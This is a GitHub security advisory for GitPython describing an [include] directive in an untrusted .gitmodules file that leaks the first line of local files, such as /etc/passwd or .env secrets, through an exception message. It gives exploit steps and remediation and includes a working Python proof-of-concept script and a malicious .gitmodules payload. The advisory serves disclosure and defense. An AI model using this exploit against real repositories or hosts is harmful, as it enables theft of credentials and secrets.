Skip to content

GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

High severity GitHub Reviewed Published Aug 10, 2026 in gitpython-developers/GitPython • Updated Sep 8, 2026

Package

pip GitPython (pip)

Affected versions

<= 3.1.58

Patched versions

3.1.59

Description

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

  • CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
  • Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path

  1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus: 
    [include]
	path = /etc/passwd
    (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
  2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
  3. SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
  4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).

Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions

  • Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
  • Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
  • No authentication/role requirement inside GitPython itself.

Evidence

  • git/config.py — GitConfigParser.__init__ defaults merge_includes=True.
  • git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
  • git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
  • git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
  • Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
  • PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.

False-positive check (adversarial re-read)

  • Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
  • Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
  • Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
  • Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.

Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

    attacker_repo = os.path.join(workdir, "attacker-repo")
    dest = os.path.join(workdir, "dest")
    for p in (attacker_repo, dest):
        os.makedirs(p, exist_ok=True)

    if not os.path.exists(target_file):
        os.makedirs(os.path.dirname(target_file), exist_ok=True)
        with open(target_file, "w") as f:
            f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

    subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)

    with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
        f.write("hello\n")

    with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )

    subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test
    import configparser

    repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
            sys.exit(0)
        else:
            print("NOT VULNERABLE: exception message did not contain the expected content")
            sys.exit(1)


if __name__ == "__main__":
    main()

References

@Byron Byron published to gitpython-developers/GitPython Aug 10, 2026
Published to the GitHub Advisory Database Sep 8, 2026
Reviewed Sep 8, 2026
Last updated Sep 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-78675

GHSA ID

GHSA-7833-fr7j-v32q

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.